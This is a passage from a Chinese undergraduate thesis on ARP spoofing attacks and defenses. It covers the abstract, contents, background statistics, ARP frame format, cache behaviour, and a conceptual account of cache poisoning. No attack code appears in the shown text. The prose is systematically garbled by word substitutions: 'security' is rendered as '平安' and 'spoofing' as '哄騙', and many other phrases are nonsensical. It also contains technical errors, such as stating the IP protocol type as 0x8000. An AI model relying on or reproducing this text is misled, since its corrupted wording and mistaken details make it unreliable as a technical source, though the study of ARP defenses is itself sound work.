版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
4XXXXXXXX??飘厴I(yè)設(shè)計(jì)(論文)題目ARP病毒的攻擊與防范同學(xué)姓名專業(yè)班級(jí)學(xué)號(hào)系別指導(dǎo)老師(職稱)
ARP病毒的攻擊與防范摘要ARP攻擊是指黑客利用ARP協(xié)議缺陷的基本原理,通過在區(qū)域內(nèi)一臺(tái)終端或服務(wù)器上發(fā)布哄騙ARP廣播包以達(dá)到進(jìn)行盜取用戶帳號(hào)、篡改網(wǎng)站內(nèi)容、嵌入惡意代碼、發(fā)布不良信息、監(jiān)聽傳輸數(shù)據(jù)等非法活動(dòng)的目的.ARP哄騙原理在過去常被運(yùn)用到簡潔的拒絕服務(wù)攻擊中。然而,隨著大量缺乏管理且使用者流淌性較大的網(wǎng)吧與其他公共上網(wǎng)環(huán)境的普及,互聯(lián)網(wǎng)上開頭消滅很多由ARP基本攻擊與偵聽、網(wǎng)頁篡改等黑客技術(shù)相互結(jié)合的攻擊方式。這種ARP攻擊之所以能在各類公共上網(wǎng)設(shè)施內(nèi)飛快擴(kuò)散是由于在擁有上千臺(tái)機(jī)器的公眾上網(wǎng)環(huán)境或?qū)ν夥?wù)的IDC托管機(jī)房中,同一網(wǎng)段中往往有著來自不同單位或不同人群使用的各類終端與服務(wù)器,由于其中各類系統(tǒng)的平安責(zé)任點(diǎn)歸屬簡潔、使用人員流淌性大,造成環(huán)境內(nèi)平安管理漏洞較大、平安盲點(diǎn)較多,從而使新一代以ARP哄騙為基礎(chǔ)的網(wǎng)頁掛碼或重定向攻擊得以滋生。而且,ARP攻擊相對(duì)與通常攻擊方式可能造成的更大的破壞在于:一般來說IP地址的沖突可以通過多種方法和手段來避開,而ARP協(xié)議工作在更底層協(xié)議上,隱蔽性更高。系統(tǒng)并不會(huì)推斷ARP緩存的正確與否,無法像IP地址沖突那樣給出提示。很多黑客工具可以隨時(shí)發(fā)送ARP哄騙數(shù)據(jù)包和ARP恢復(fù)數(shù)據(jù)包,這對(duì)于公眾上網(wǎng)環(huán)境來說,就可以在任何權(quán)限的終端計(jì)算機(jī)上通過發(fā)送ARP數(shù)據(jù)包的方法來掌握網(wǎng)絡(luò)中任何一臺(tái)計(jì)算機(jī)甚至服務(wù)器或網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)連接、偵探通訊數(shù)據(jù)、篡改數(shù)據(jù)包以加入病毒代碼或不良信息進(jìn)行傳播。黑客還可以最大化的利用ARP哄騙原理,將其與其他攻擊方法組合后運(yùn)用于多種攻擊,如,偵聽、拒絕服務(wù)、掛載病毒等.從而達(dá)到多種攻擊目的,如:竊取信息、病毒傳播、破壞網(wǎng)絡(luò)路由,暴力廣告等等。本文通過現(xiàn)象分析逐步推測出ARP的攻擊原理。隨后通過對(duì)ARP數(shù)據(jù)幀格式的解析,證明白ARP協(xié)議漏洞是可以被用作ARP哄騙。在探討ARP攻擊的防御措施時(shí),文章從MAC地址集中管理、ARP數(shù)據(jù)包探測以及系統(tǒng)平安加固三方面進(jìn)行論述。對(duì)于公眾上網(wǎng)環(huán)境中存在可被ARP攻擊的漏洞進(jìn)行分析,并對(duì)整體防御構(gòu)架進(jìn)一步探究.關(guān)鍵詞ARP攻擊/ARP協(xié)議/平安防護(hù) 目錄TOC\o"1—3"\u第1章緒論 11。1引言 11.2討論背景及意義 21.3本文討論內(nèi)容和組織結(jié)構(gòu) 3第2章ARP攻擊原理綜述 32。1ARP工作原理 32。1.1以太網(wǎng)中的ARP協(xié)議簡介 32。1.2ARP協(xié)議原理 42.2ARP攻擊的危害 62.3ARP攻擊程序結(jié)構(gòu) 72。4ARP協(xié)議缺陷 82。5ARP表的操作方法 122.6ARP偽造幀格式 132.7網(wǎng)關(guān)出口上的ARP哄騙 20第3章ARP哄騙攻擊的實(shí)現(xiàn) 223.1構(gòu)造ARP哄騙幀 223。2發(fā)送ARP哄騙幀 283.3同時(shí)發(fā)向兩臺(tái)機(jī)器的“Man-In-The—Middle" 293。4IP數(shù)據(jù)包的轉(zhuǎn)發(fā) 313。5偵聽 353.6用ARP攻擊WINDOWS系統(tǒng) 353。7對(duì)交換機(jī)攻擊 353。8掛載病毒 36第4章ARP哄騙攻擊防范 384。1ARP防護(hù)整體布局思路 384.2計(jì)算機(jī)系統(tǒng)平安加固 404.3ARP殺毒軟件 404.4ARP攻擊探測器 414.5MAC地址集中管理 424。5。1傳統(tǒng)的交換機(jī)MAC地址管理 434。5.2基于地址掃描的MAC中央管理 43總結(jié)結(jié)論 45致謝 46參考文獻(xiàn) 46 第1章緒論1.1引言網(wǎng)絡(luò)平安問題始終是網(wǎng)絡(luò)進(jìn)展中的突出問題,2008年5月公安部公共信息網(wǎng)絡(luò)平安監(jiān)察局舉辦的2008年度信息網(wǎng)絡(luò)平安狀況與計(jì)算機(jī)病毒疫情調(diào)查結(jié)果顯示,我國信息網(wǎng)絡(luò)平安大事發(fā)生比例為62。7%,計(jì)算機(jī)病毒感染率下降為85.5%,感染計(jì)算機(jī)病毒、蠕蟲和木馬程序的情況仍然最為突出,其次是網(wǎng)絡(luò)攻擊、端口掃描、垃圾郵件和網(wǎng)頁篡改。在發(fā)生的平安大事中,攻擊或傳播源涉及內(nèi)部人員的達(dá)到54%,比去年激增了15%;涉及外部人員的卻銳減了18%。由此可見,計(jì)算機(jī)病毒對(duì)網(wǎng)絡(luò)平安的影響仍然很大,發(fā)生在局域網(wǎng)的網(wǎng)絡(luò)平安問題也更為突出,因此,網(wǎng)絡(luò)平安形勢照舊嚴(yán)峻。網(wǎng)絡(luò)的飛速進(jìn)展轉(zhuǎn)變了人們的工作和生活,在帶來便利的同時(shí)也帶來了很多麻煩.由于網(wǎng)絡(luò)平安問題的日益突出,使得計(jì)算機(jī)病毒、網(wǎng)絡(luò)攻擊和犯罪頻繁發(fā)生。依據(jù)國家計(jì)算機(jī)病毒應(yīng)急處理中心發(fā)布的《中國互聯(lián)網(wǎng)網(wǎng)絡(luò)平安報(bào)告(2009年上半年)》中的數(shù)據(jù)顯示,2009年上半年,國家互聯(lián)網(wǎng)應(yīng)急中心(CNCERT)通過技術(shù)平臺(tái)共捕獲約90萬個(gè)惡意代碼,比去年同期增長62。5%。每年都有相當(dāng)數(shù)量具有肯定影響力的新計(jì)算機(jī)病毒消滅,它們?cè)斐傻钠茐暮蛽p失也更大,人們花費(fèi)在病毒防治方面的精力和技術(shù)也越多。如2008年ARP(AddressResolutionProtocol)病毒就表現(xiàn)很突出,江民公司發(fā)布的《07年上半年病毒報(bào)告及十大病毒》中ARP病毒排名第四,瑞星公司發(fā)布的《2007年上半年電腦病毒疫情和互聯(lián)網(wǎng)平安報(bào)告》中ARP病毒排名第六。造成信息和網(wǎng)絡(luò)平安問題的因素很多,主要可歸納為兩方面。一方面是技術(shù)方面的問題,目前的計(jì)算機(jī)操作系統(tǒng)和應(yīng)用軟件或多或少存在肯定的平安漏洞,而攻擊者恰恰利用了這些漏洞,由于計(jì)算機(jī)病毒防治技術(shù)相對(duì)要落后于病毒攻擊,因此會(huì)造成病毒在肯定范圍內(nèi)擴(kuò)散;另一方面是管理方面的問題,由于管理人員的技術(shù)水平不足和管理不善造成的平安問題也層出不窮,系統(tǒng)漏洞修復(fù)的滯后和平安防護(hù)措施的不夠給攻擊者供應(yīng)了機(jī)會(huì)。再加之,互聯(lián)網(wǎng)是一個(gè)開放的系統(tǒng),任何微小的漏洞和病毒都會(huì)快速擴(kuò)散,甚至殃及全球,因此網(wǎng)絡(luò)平安問題不容忽視。ARP病毒很大程度上是由于技術(shù)方面的問題而導(dǎo)致的,因此,可以通過技術(shù)改進(jìn)加以防范.1.2討論背景及意義ARP協(xié)議是一個(gè)基礎(chǔ)協(xié)議,它的應(yīng)用格外廣泛。ARP由口層復(fù)用,用于解析局域網(wǎng)內(nèi)任意合法第3層協(xié)議地址和第2層硬件地址之間的映射關(guān)系。ARP協(xié)議工作在局域網(wǎng)中,早期的協(xié)議設(shè)計(jì)者認(rèn)為局域網(wǎng)是可信賴的,同時(shí)為了考慮傳輸效率,沒有加入平安機(jī)制?,F(xiàn)在的網(wǎng)絡(luò)規(guī)模已經(jīng)今非昔比,局域網(wǎng)已經(jīng)不再是原始意義上的局域網(wǎng)絡(luò),但ARP協(xié)議仍然扮演著同樣重要的角色,攻擊者正是利用了這一特點(diǎn),利用該協(xié)議實(shí)現(xiàn)攻擊目的。ARP哄騙攻擊通過偽造IP地址和MAC地址映射來實(shí)現(xiàn),它造成目標(biāo)主機(jī)ARP高速緩存信息錯(cuò)誤,從而影響網(wǎng)絡(luò)通信、實(shí)施網(wǎng)絡(luò)哄騙。目前,“ARP”騙技術(shù)正在被越來越多的病毒所使用,成為局域網(wǎng)平安的新殺手?!恫《绢A(yù)報(bào)》(2008—2009)報(bào)道,國家計(jì)算機(jī)病毒應(yīng)急處理中心通過互聯(lián)網(wǎng)絡(luò)監(jiān)測發(fā)現(xiàn),一種新型“地址解析協(xié)議哄騙"(簡稱:ARP哄騙)的惡意木馬程序的正在互聯(lián)網(wǎng)絡(luò)中傳播,并且它會(huì)在局域網(wǎng)絡(luò)中尋找網(wǎng)絡(luò)數(shù)據(jù)響應(yīng)包,在包內(nèi)加入惡意木馬程序的代碼信息,最終導(dǎo)致局域網(wǎng)中用戶計(jì)算機(jī)系統(tǒng)感染木馬程序,使得計(jì)算機(jī)系統(tǒng)中的信息篡改或丟失。該“ARP哄騙”的惡意木馬程序入侵某個(gè)局域網(wǎng)中的計(jì)算機(jī)系統(tǒng)后,它會(huì)試圖通過“ARP哄騙”手段截獲所在局域網(wǎng)絡(luò)內(nèi)其它計(jì)算機(jī)系統(tǒng)的通信信息,導(dǎo)致該局域網(wǎng)消滅突然掉線,過一段時(shí)間后又會(huì)恢復(fù)正常的現(xiàn)象.同時(shí),網(wǎng)內(nèi)的其他計(jì)算機(jī)系統(tǒng)也會(huì)受到影響,消滅IP地址沖突、頻繁斷網(wǎng)、掃瞄器頻繁出錯(cuò),以及一些系統(tǒng)內(nèi)常用軟件消滅故障等現(xiàn)象。除外,它會(huì)對(duì)局域網(wǎng)絡(luò)中全部的數(shù)據(jù)包進(jìn)行分析,過濾出網(wǎng)頁掃瞄懇求的應(yīng)答數(shù)據(jù)包,并在數(shù)據(jù)包里面插入惡意代碼,一旦計(jì)算機(jī)系統(tǒng)中的IE掃瞄器存在漏洞,那么計(jì)算機(jī)用戶掃瞄網(wǎng)頁的同時(shí)就會(huì)自動(dòng)下載并運(yùn)行惡意木馬程序。“ARP哄騙”類惡意木馬程序的危害性比較大,格外是對(duì)校內(nèi)網(wǎng)、網(wǎng)吧等局域網(wǎng)會(huì)造成大范圍的破壞和影響,輕則影響網(wǎng)絡(luò)使用,重則導(dǎo)致網(wǎng)絡(luò)癱瘓,是個(gè)不容忽視的問題。目前,很多討論者已經(jīng)給出了針對(duì)ARP哄騙攻擊的防治方法,在肯定程度上削減了ARP問題的發(fā)生,這類方法主要是通過保護(hù)ARP高速緩存等方法來實(shí)現(xiàn),它們沒有從根本上解決ARP哄騙問題,由于ARP哄騙問題的發(fā)生是由于ARP協(xié)議本身存在在不行信網(wǎng)絡(luò)中運(yùn)行的漏洞.本文將從ARP協(xié)議本身動(dòng)身,分析ARP協(xié)議的不平安因素,并針對(duì)存在的問題給出解決的簡略方法,達(dá)到從根本上解決ARP病毒問題的目的。1。3本文討論內(nèi)容和組織結(jié)構(gòu)本文主要目的是通過討論ARP協(xié)議缺陷,來闡述ARP攻擊原理.然后依據(jù)此原理剖析ARP偵聽、病毒掛載等眾多攻擊手段。文章的創(chuàng)新點(diǎn)在于闡述了MAC地址綁定等常用方法只能針對(duì)單機(jī)防護(hù),而在大型公眾上網(wǎng)環(huán)境中必須以MAC地址集中管理、ARP廣播包探測等綜合管理手段相幫助,進(jìn)行整體防護(hù)。文章最后以上海東方數(shù)字社區(qū)為實(shí)例說明綜合防護(hù)手段的實(shí)施方法。第一章緒論。本章介紹了本文的課題討論背景,闡述了課題的討論目的以及意義,然后說明白本文的主要?jiǎng)?chuàng)新點(diǎn)和全文結(jié)構(gòu)。其次章ARP攻擊原理綜述。本章首先用實(shí)例說明ARP攻擊的危害性,然后簡略介紹ARP協(xié)議概念、ARP幀結(jié)構(gòu)、以及其他相關(guān)概念。此章最后論證了ARP協(xié)議缺陷是ARP攻擊癥結(jié)所在.第三章ARP哄騙攻擊的實(shí)現(xiàn)。本章通過Socket程序代碼說明如何實(shí)現(xiàn)ARP哄騙攻擊,然后通過程序代碼敘述D.O.S拒絕服務(wù)攻擊、偵聽、病毒掛載、Windows系統(tǒng)攻擊、交換機(jī)攻擊等多種混合類攻擊的實(shí)現(xiàn)原理。第四章ARP哄騙攻擊的防范.針對(duì)如何在擁有上千個(gè)終端大型社區(qū)網(wǎng)絡(luò)中有效防止ARP攻擊擴(kuò)散,本章比較了常用的MAC地址綁定、系統(tǒng)平安加固等方法指出要在大范圍內(nèi)防止ARP攻擊需要用綜合手段,并提出ARP攻擊探測、MAC地址中央管理等適用于大型網(wǎng)絡(luò)的新方法.第五章總結(jié)與展望。本章對(duì)全文的討論工作進(jìn)行總結(jié),提出了主要結(jié)論,并介紹了課題今后進(jìn)一步的改進(jìn)和進(jìn)展方向。第2章ARP攻擊原理綜述2。1ARP工作原理2。1。1以太網(wǎng)中的ARP協(xié)議簡介IEEE的802標(biāo)準(zhǔn)委員會(huì)和802項(xiàng)目組定義了兩種主要的LAN傳輸方法—-以太網(wǎng)和令牌環(huán)網(wǎng)。以太網(wǎng)在IEEE802。3規(guī)范中被定義為LAN標(biāo)準(zhǔn),令牌環(huán)網(wǎng)則在IEEE802。5規(guī)范中定義。這兩種方法的使用范圍都很廣泛,本文的討論針對(duì)以太網(wǎng)進(jìn)行.以太網(wǎng)利用了總線和星形拓?fù)浣Y(jié)構(gòu)的優(yōu)點(diǎn),采納了CSMA/CD技術(shù),網(wǎng)絡(luò)上想要發(fā)送幀的結(jié)點(diǎn)與另外的結(jié)點(diǎn)競爭資源,沒有哪個(gè)結(jié)點(diǎn)的優(yōu)先級(jí)比其他結(jié)點(diǎn)高,幀依據(jù)物理地址查找其特定的目標(biāo),以太網(wǎng)通過一個(gè)廣播信道向全部結(jié)點(diǎn)發(fā)送數(shù)據(jù),處于同一廣播域的結(jié)點(diǎn)都會(huì)收到該數(shù)據(jù)。雖然每臺(tái)主機(jī)都由一個(gè)IP地址,但是IP地址是運(yùn)行TCP/IP協(xié)議機(jī)器的通用標(biāo)識(shí),IP地址自身不能使報(bào)文到達(dá)其目的地,數(shù)據(jù)傳輸必須依靠網(wǎng)絡(luò)適配器唯一的硬件地址,該地址也被稱為MAC地址或者數(shù)據(jù)鏈路地址,該地址通常在網(wǎng)絡(luò)適配器生產(chǎn)廠家唯一編址,具有全球唯一性。以太網(wǎng)中的硬件地址采納48位長度表示,ARP協(xié)議為IP地址到對(duì)應(yīng)的硬件地址之間供應(yīng)動(dòng)態(tài)映射腳,因此,擔(dān)負(fù)IP地址和硬件地址轉(zhuǎn)換的ARP協(xié)議具有格外重要的地位。2。1。2ARP協(xié)議原理ARP協(xié)議起初是為DEC/Intel/Xerox的10兆以太網(wǎng)設(shè)計(jì)的,現(xiàn)在已允許用在其它類型的網(wǎng)絡(luò)上。當(dāng)來自上層的數(shù)據(jù)要發(fā)送時(shí),需要知道目標(biāo)主機(jī)的硬件地址,這時(shí)就需要通過IP地址找到相應(yīng)的硬件地址,網(wǎng)絡(luò)接口輸出函數(shù)會(huì)調(diào)用ARP協(xié)議進(jìn)行ARP解析。ARP解析函數(shù)發(fā)送ARP懇求(作為廣播包發(fā)送),目標(biāo)主機(jī)收到ARP懇求后發(fā)送ARP應(yīng)答(作為單播包發(fā)送),當(dāng)發(fā)送主機(jī)收到ARP應(yīng)答后就可發(fā)送數(shù)據(jù).為了避開頻繁發(fā)送ARP懇求和應(yīng)答,實(shí)現(xiàn)時(shí)在主機(jī)中都會(huì)有一個(gè)ARP高速緩存用來存放已經(jīng)解析成功的ARP信息,所以通常數(shù)據(jù)發(fā)送前先查找ARP高速緩存,找不到時(shí)才會(huì)發(fā)送ARP懇求.2。1.2.1ARP分組格式RFC826定義了ARP分組的格式,在以太網(wǎng)上使用的ARP分組格式見圖2-1。該分組由以太網(wǎng)首部和以太網(wǎng)ARP字段兩部分組成。.圖2-1ARP的分組格式(1)以太網(wǎng)首部:以太網(wǎng)首部包括以太網(wǎng)目的地址、以太網(wǎng)源地址和幀類型三部分,以太網(wǎng)目的地址是通信目的端的MAC地址,長度為48位,目的地址為全1是廣播地址,這時(shí),電纜上的全部以太接口都要接收此數(shù)據(jù)并進(jìn)行處理。以太網(wǎng)源地址是通信源端的MAC地址,長度為48位。幀類型表示以太網(wǎng)首部所攜帶數(shù)據(jù)的類型,如果是IP幀則為0x0800,如果是ARP幀則為0x0806。(2)以太網(wǎng)ARP字段:包括ARP首部和ARP數(shù)據(jù)兩部分。其中ARP首部包括硬件類型、協(xié)議類型、硬件地址長度、協(xié)議地址長度和操作碼五部分,硬件類型字段值為1表示是以太網(wǎng)地址,協(xié)議類型字段值為0x8000表示IP地址,硬件地址長度為6表示是以太網(wǎng)硬件地址,協(xié)議地址長度字段值為4表示是IP地址,操作碼指出了ARP操作的四種類型,其中ARP懇求值為1,ARP應(yīng)答值為2,RARP懇求和應(yīng)答分別人3和4(可參見RARP協(xié)議的相關(guān)資料,本文不進(jìn)行介紹);ARP數(shù)據(jù)部分包括了發(fā)送方硬件地址、發(fā)送方IP地址、目的硬件地址和目的IP地址,它們依據(jù)不憐憫況進(jìn)行填充,ARP懇求包填充除目的硬件地址以外的全部數(shù)據(jù),而ARP應(yīng)答數(shù)據(jù)則填充全部數(shù)據(jù)。2.1。2.2ARP發(fā)包和收包流程(1)發(fā)包①當(dāng)網(wǎng)絡(luò)層往下傳來一個(gè)包,路由選擇將確定該包下一跳的協(xié)議地址(目的主機(jī)的口地址),為了正確發(fā)送該數(shù)據(jù)包,必須知道目的主機(jī)的硬件地址,這時(shí)就需要進(jìn)行IP地址至MAC地址的解析,為此需要發(fā)送ARP懇求,即發(fā)送一個(gè)幀類型字段為0x0806的以太網(wǎng)包,該包中以太網(wǎng)目的地址全為1(ARP懇求以廣播形式發(fā)送),除了目的硬件地址外全部填充,其中以太網(wǎng)源地址、發(fā)送者硬件地址和發(fā)送者IP地址填充本機(jī)的信息,ARP操作碼填充1,協(xié)議地址長度填充4,硬件地址長度填充6,目的IP地址填充路由確定的下一跳協(xié)議地址,目的硬件地址的值是想要得到的值。ARP懇求包會(huì)被廣播到全部在以太網(wǎng)電纜上的主機(jī),如果目的主機(jī)得到該ARP懇求包則會(huì)發(fā)送一個(gè)ARP應(yīng)答包,如果肯定時(shí)間沒有收到ARP應(yīng)答包,則會(huì)連續(xù)發(fā)送若干次,如果還沒有收到應(yīng)答包,則認(rèn)為該主機(jī)不行達(dá)到,停止發(fā)送ARP懇求。為了提高通信效率,通常主機(jī)中會(huì)保存已經(jīng)解析到的IP和MAC地址的映射,通常稱之為ARP高速緩存。它保存了IF索引(物理接口索引)、IP和MAC地址的映射,以及該映射的類型信息等,類型有4種可能的值,值2意味著表項(xiàng)是無效的,值3意味著映射是動(dòng)態(tài)的(表項(xiàng)可能轉(zhuǎn)變),值4說明是靜態(tài)項(xiàng)(表項(xiàng)不變化),值1意味著不是上面的任何一種情況。動(dòng)態(tài)表項(xiàng)有肯定的生存期,動(dòng)態(tài)ARP表項(xiàng)如果在肯定時(shí)間沒有被使用,則會(huì)因超時(shí)被刪除,如果在生存期內(nèi)被使用,則生存期會(huì)被重置為最大值。通常,在數(shù)據(jù)發(fā)送前先會(huì)查找ARP高速緩存尋找相應(yīng)的MAC地址,如果沒有找到才會(huì)發(fā)送相應(yīng)的ARP懇求。②免費(fèi)ARP主機(jī)在啟動(dòng)時(shí)會(huì)主動(dòng)發(fā)送一個(gè)ARP懇求包,該包中發(fā)送端的協(xié)議地址和目的端的協(xié)議地址全都.免費(fèi)ARP包可以檢測在以太網(wǎng)中是否存在IP地址沖突,可以使其他機(jī)器更新其相應(yīng)信息,使得網(wǎng)絡(luò)通信快速恢復(fù).如果發(fā)送免費(fèi)ARP的主機(jī)正好轉(zhuǎn)變了硬件地址(有可能是更換網(wǎng)絡(luò)適配器,然后重新啟動(dòng)),那么這個(gè)免費(fèi)ARP就可以使其它主機(jī)ARP高速緩存中舊的硬件地址進(jìn)行相應(yīng)的更新.(2)收包①當(dāng)接口收到ARP懇求包后會(huì)進(jìn)行檢查,檢查該包的硬件地址類型及長度和協(xié)議地址類型及長度是不是符合本接口,如果符合,那么在ARP高速緩存中查找發(fā)送者IP地址相關(guān)的映射,如果找到一個(gè)相符的表項(xiàng),那么更新此表項(xiàng)(掩蓋原來的硬件地址為新的硬件地址)。②推斷本機(jī)是不是通信的目標(biāo)主機(jī),如果是,并且沒有進(jìn)行過①中的更新,那么更新ARP高速緩存。③如果收到的是一個(gè)ARP懇求,那么生成一個(gè)相應(yīng)的ARP應(yīng)答包,并且將這個(gè)ARP應(yīng)答包發(fā)送給對(duì)方,ARP應(yīng)答包以單播的形式發(fā)送,它填充了ARP包中的全部內(nèi)容。2。2ARP攻擊的危害ARP哄騙不同于通常攻擊可造成的巨大破壞。ARP哄騙可以造成內(nèi)部網(wǎng)絡(luò)的混亂,某些被哄騙的計(jì)算機(jī)無法正常訪問內(nèi)外網(wǎng),讓網(wǎng)關(guān)無法和客戶端正常通信。實(shí)際上他的危害還不僅僅如此,一般來說IP地址的沖突我們可以通過多種方法和手段來避開,而ARP協(xié)議工作在更低層,隱蔽性更高。系統(tǒng)并不會(huì)推斷ARP緩存的正確與否,無法像IP地址沖突那樣給出提示.而且很多黑客工具,可以隨時(shí)發(fā)送ARP哄騙數(shù)據(jù)包和ARP恢復(fù)數(shù)據(jù)包,這樣就可以實(shí)現(xiàn)在一臺(tái)一般計(jì)算機(jī)上通過發(fā)送ARP數(shù)據(jù)包的方法來掌握網(wǎng)絡(luò)中任何一臺(tái)計(jì)算機(jī)的網(wǎng)絡(luò)連接截獲其通訊數(shù)據(jù)并可做篡改以加入病毒代碼進(jìn)行傳播,甚至還可以直接對(duì)網(wǎng)關(guān)進(jìn)行攻擊,讓全部連接網(wǎng)絡(luò)的計(jì)算機(jī)都無法正常上網(wǎng)。這點(diǎn)在以前是不行能的,由于一般計(jì)算機(jī)沒有管理權(quán)限來掌握網(wǎng)關(guān)所以說。ARP哄騙的危害是巨大的,而且格外難應(yīng)付,非法用戶和惡意用戶可以隨時(shí)發(fā)送ARP哄騙和恢復(fù)數(shù)據(jù)包,這樣就增加了網(wǎng)絡(luò)管理員查找攻擊源的難度。歸納ARP哄騙類攻擊的危害性如下:(1)攻擊點(diǎn)范圍廣:不需要攻占簡略服務(wù)器,在不獲得目標(biāo)主機(jī)的權(quán)限的條件下,只要在網(wǎng)絡(luò)環(huán)境的任何一個(gè)點(diǎn)上安放一臺(tái)“肉機(jī)”便可以感染整個(gè)網(wǎng)段;(2)攻擊格外隱蔽:不需要改動(dòng)任何目標(biāo)主機(jī)的頁面或者是配置,在網(wǎng)絡(luò)傳輸?shù)倪^程中間直接插入病毒的代碼;(3)發(fā)覺困難:如沒有機(jī)房網(wǎng)絡(luò)管理人員協(xié)助協(xié)查,服務(wù)器系統(tǒng)管理員光靠系統(tǒng)日志無法在短時(shí)間內(nèi)找到攻擊源;(4)恢復(fù)簡潔:網(wǎng)站管理員即時(shí)發(fā)現(xiàn)被攻擊后,但是從系統(tǒng)層面上無法自己清除;(5)攻擊手段變化多樣:黑客可以最大化的利用ARP哄騙,將他與其他攻擊方法組合后運(yùn)用于多種攻擊,如,偵聽、拒絕服務(wù)、掛載病毒。從而實(shí)現(xiàn)多中攻擊目的,如:竊取信息、病毒傳播、破壞網(wǎng)絡(luò)路由,暴力廣告等等;2.3ARP攻擊程序結(jié)構(gòu)隨著互聯(lián)網(wǎng)的進(jìn)展,ARP攻擊已經(jīng)從早期簡潔模式,即發(fā)送ARP回應(yīng)包使收哄騙機(jī)器無法上網(wǎng)進(jìn)展到不只是對(duì)ARP協(xié)議層的攻擊。攻擊者利用ARP信任局域的重大缺陷作為突破口,并通過一系列數(shù)據(jù)包轉(zhuǎn)發(fā)的方法模擬出正常的通訊手段來哄騙數(shù)據(jù)收發(fā)雙方,然后作為一個(gè)透明的網(wǎng)關(guān)在當(dāng)中進(jìn)行監(jiān)聽與數(shù)據(jù)偽裝的方法.圖2—2ARP攻擊的結(jié)構(gòu)框架圖整個(gè)攻擊的結(jié)構(gòu)如圖2—2所示,全部ARP類攻擊的核心原理是ARP協(xié)議MAC地址哄騙。在數(shù)據(jù)鏈接層MAC地址哄騙基礎(chǔ)上使用類似于路由器的數(shù)據(jù)包轉(zhuǎn)發(fā)技術(shù)可形成對(duì)攻擊目標(biāo)的網(wǎng)絡(luò)數(shù)據(jù)偵聽。然后便可以與各種攻擊方式相互結(jié)合,達(dá)到數(shù)據(jù)篡改、數(shù)據(jù)監(jiān)聽、停止服務(wù)攻擊,以及病毒掛載的目的。2。4ARP協(xié)議缺陷ARP攻擊的突破口是ARP協(xié)議缺陷,為了說明黑客程序是如何進(jìn)行ARP哄騙進(jìn)而修改ARP表,首先需要討論ARP協(xié)議的工作原理.ARP協(xié)議是“AddressResolutionProtocol”(地址解析協(xié)議)的縮寫。位于OSI網(wǎng)絡(luò)七層模型中的其次層—數(shù)據(jù)鏈路層。在數(shù)據(jù)鏈路層中網(wǎng)絡(luò)中實(shí)際傳輸?shù)姆庋b數(shù)據(jù)包為數(shù)據(jù)“幀”,幀的傳播尋址方法是依靠目標(biāo)主機(jī)的MAC地址.在以太網(wǎng)中,一個(gè)主機(jī)要和另一個(gè)主機(jī)進(jìn)行直接通信,必必要知道目標(biāo)主機(jī)的MAC地址。這個(gè)目標(biāo)MAC地址是通過地址解析協(xié)議獲得的.Internet上常用到DNS域名解析是將IP地址與域名對(duì)應(yīng)起來,而數(shù)據(jù)鏈接層的“MAC地址解析”原理與DNS相像,其實(shí)就是將網(wǎng)卡的MAC硬件地址與IP地址對(duì)應(yīng),整個(gè)“MAC地址解析”的過程其實(shí)就是主機(jī)在發(fā)送幀前將目標(biāo)IP地址轉(zhuǎn)換成目標(biāo)MAC地址的過程。而ARP協(xié)議的基本功能就是通過目標(biāo)設(shè)備的IP地址,查詢目標(biāo)設(shè)備的MAC地址,以保證通信的順利進(jìn)行。
圖2—3互聯(lián)網(wǎng)名字解析協(xié)議原理在圖2—3所示的互聯(lián)網(wǎng)名字解析方法中,每臺(tái)使用TCP/IP協(xié)議上網(wǎng)的電腦內(nèi)部都有一個(gè)ARP緩存表,表里的IP地址與MAC地址是一一對(duì)應(yīng)的。這個(gè)高速緩存存放了最近Internet地址到硬件地址之間的映射記錄。高速緩存中每一項(xiàng)的生存時(shí)間一般默認(rèn)為20分鐘(可通過注冊(cè)表修改),緩存的起始時(shí)間從被創(chuàng)建時(shí)開頭算起。ARP緩存表下圖所示。圖2—4ARP緩存表舉例說明IP—MAC地址表轉(zhuǎn)換工作原理。在192.168。1。0網(wǎng)段中有四臺(tái)主機(jī),每臺(tái)主機(jī)都會(huì)存有一張IP—MAC地址對(duì)比關(guān)系如表2—2.表2—1IP-MAC地址對(duì)比關(guān)系依據(jù)表2-1的配置,以主機(jī)A(192。168.1。1)向主機(jī)B(192.168.1。2)發(fā)送數(shù)據(jù)為例。當(dāng)發(fā)送數(shù)據(jù)時(shí),主機(jī)A會(huì)在自己的ARP緩存表中尋找是否有目標(biāo)IP地址.如果找到了,也就知道了目標(biāo)MAC地址,直接把目標(biāo)MAC地址寫入幀里面發(fā)送就可以;如果在ARP緩存表中沒有找到相對(duì)應(yīng)的IP地址,主機(jī)A就會(huì)在網(wǎng)絡(luò)上發(fā)送一個(gè)廣播,目標(biāo)MAC地址是“FF。FF。FF。FF.FF.FF”,這表示向同一網(wǎng)段內(nèi)的全部主機(jī)發(fā)出詢問:“192。168.1.2的MAC地址是什么?"網(wǎng)絡(luò)上其他主機(jī)并不響應(yīng)ARP詢問,只有主機(jī)B接收到這個(gè)幀時(shí),才向主機(jī)A做出這樣的回應(yīng):“的MAC地址是“bb—bb—bb—bb-bb-bb"。這樣,主機(jī)A就知道了主機(jī)B的MAC地址,它就可以向主機(jī)B發(fā)送信息了.同時(shí)它還更新了自己的ARP緩存表,下次再向主機(jī)B發(fā)送信息時(shí),直接從ARP緩存表里查找就可以了。ARP緩存表采納了老化機(jī)制,在一段時(shí)間內(nèi)如果表中的某一行沒有使用,就會(huì)被刪除,這樣可以大大削減ARP緩存表的長度,加快查詢速度。整個(gè)ARP查詢過程如圖2—5所示.圖2-5正常ARP查詢流程從圖2—5中可以發(fā)現(xiàn),ARP協(xié)議存在一個(gè)重大的缺陷:每臺(tái)主機(jī)的ARP表的更新是信任廣播域內(nèi)全部機(jī)器的回應(yīng)包的,也就是在說在ARP協(xié)議中,接受回應(yīng)幀的主機(jī)無法驗(yàn)證回應(yīng)包的真?zhèn)?。所以,在ARP協(xié)議中就很容易實(shí)現(xiàn)在以太網(wǎng)中的ARP哄騙。在表2—1所示環(huán)境,對(duì)目標(biāo)A進(jìn)行哄騙.C發(fā)出ARP回應(yīng)數(shù)據(jù)幀到A,告知A“B的MAC地址是CC—CC—CC-CC-CC”,A接受了假回應(yīng)包,但是無法驗(yàn)證,于是就將自己的緩存更新了.結(jié)果,A去Ping主機(jī)B卻發(fā)送到了CC—CC-CC-CC-CC這個(gè)地址上。如果進(jìn)行哄騙的時(shí)候,把B的MAC地址哄騙為CC-CC-CC-CC-CC-